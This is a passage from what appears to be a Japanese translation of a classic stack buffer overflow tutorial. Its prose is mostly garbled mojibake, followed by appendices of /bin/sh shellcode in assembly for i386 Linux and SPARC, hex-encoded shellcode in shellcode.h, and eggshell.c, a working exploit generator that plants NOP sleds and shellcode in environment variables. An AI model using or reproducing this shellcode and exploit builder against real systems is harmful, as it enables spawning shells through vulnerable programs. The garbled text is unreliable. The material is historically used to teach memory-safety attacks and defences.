���ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��
ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ�
�ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ
��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��
���ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��
ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ�����ソ
��ソ��ソ��
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
�ꔭ�ڂŏo�����I�m���ɃI�b�Y�𑝂₵�Ă���݂������B�n�b�L���O�������v���O�����̒��łǂꂾ���̐��̊��f�[�^���n�b�L���O�v���O�����ƕ��ׂ� ��邩�ɂ���āA�A�h���X�𐄑��ł���m���͒Ⴍ���������Ȃ�B�I�t�Z�b�g���������Ă݂Ăق����B
�o�b�t�@�[�I�[�o�[�t���[������
�O�ɖ��������Ƃ���A�o�b�t�@�[�I�[�o�[�t���[�Ƃ́A�o�b�t�@�[�ɑ����̕ێ��ł���ȏ�̏�����ꍞ�ތ��ʐ����邱�Ƃł���BC�ł͑g�ݍ��݂� ���E�`�F�b�N�������̂ŁA�I�[�o�[�t���[�́A�L�����N�^�[�z��̏I�������������݂Ƃ����悤�Ȍ`�Ŕ��ɗǂ��o������B�W����C�̃��C�u�����ɂ͕� ������R�s�[������������肷��������������݂��邪�A���E�`�F�b�N�͂���s���Ă��Ȃ��B�����strcat(),strcpy(), sprintf(),vsprintf()�Ƃ��������̂ł���B�����̊��̓k���ŏI�����镶��������̂ł���A��镶���I�[�o�[�t���[ ���Ă��邩���`�F�b�N���Ă��Ȃ��Bgets()��stdin�i�W�����́j����P�s�ǂ݂Ƃ���ŁA���s�R�[�h��EOF�ɂ���ďI������܂Ńo�b�t�@�[�ɓ� �ݍ��ށB������o�b�t�@�[�I�[�o�[�t���[���`�F�b�N���Ă��Ȃ��Bscanf()�n��������ƂȂ�\��������B�Ⴆ�A������Ԃ̃L�����N�^�[ �i%s�j���тɃ}�b�`������ꍇ�A��`�����Z�b�g�i%[]�j�Ƌ�ł͂Ȃ��������т��}�b�`������ꍇ�Achar�̃|�C���^�[�Ŕz����w���ꍇ�Ȃǂ́A���� ���ёS�Ă�����قǁi�����o�b�t�@�[���j�傫���Ȃ��̂ŁA�C�ӂɍő�t�B�[���h�����`�ł��Ȃ��̂��B�����A�����̊��̂ǂꂩ���^�[�Q�b�g�ŁA �Œ�T�C�Y�̃o�b�t�@�[�������A���[�U�[���͂��瑼�̈����Ă���ꍇ�́A�o�b�t�@�[�I�[�o�[�t���[�������ɂ͗ǂ��Ƃ����邾�낤�B
�����ЂƂA����ꂪ���Ă�����ʓI�ȃv���O���~���O�\���Ƃ��āAwhile���[�v���g���ĂP�x�ɂP�����ÂA�s�̏I��肩�A�t�@�C���̏I��� ���A���邢�͉������̋�蕶��������܂�stdin����o�b�t�@�[�ɓǂݍ��ނƂ������̂�����B���̃^�C�v�̍\���ł͕��ʂ����������̂P���g���F getc(),fgetc(),���邢��getchar()�Bwhile���[�v�̒��ɖ��m�ɃI�[�o�[�t���[�̃`�F�b�N��������A���������v���O������ �n�b�L���O�͂��₷���B
�Ō�ɂȂ邪�Agrep(1)�������ޗ��ł���B�t���[��OS��[�e�B���e�B�[�̃\�[�X�͒N�ł��ǂ߂�B�Ƃ������Ƃ́A�����̏��pOS��[�e�B ���e�B�[���t���[�Ȃ��̂Ɠ����\�[�X���痈�Ă���Ƃ������Ƃ𗝉�����ƁA�S�������[�����ƂɂȂ�킯�ł���B�\�[�X�����p���悤�B�i�����܂��j
Appendix A - Shellcode for Different Operating Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / [email protected]
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------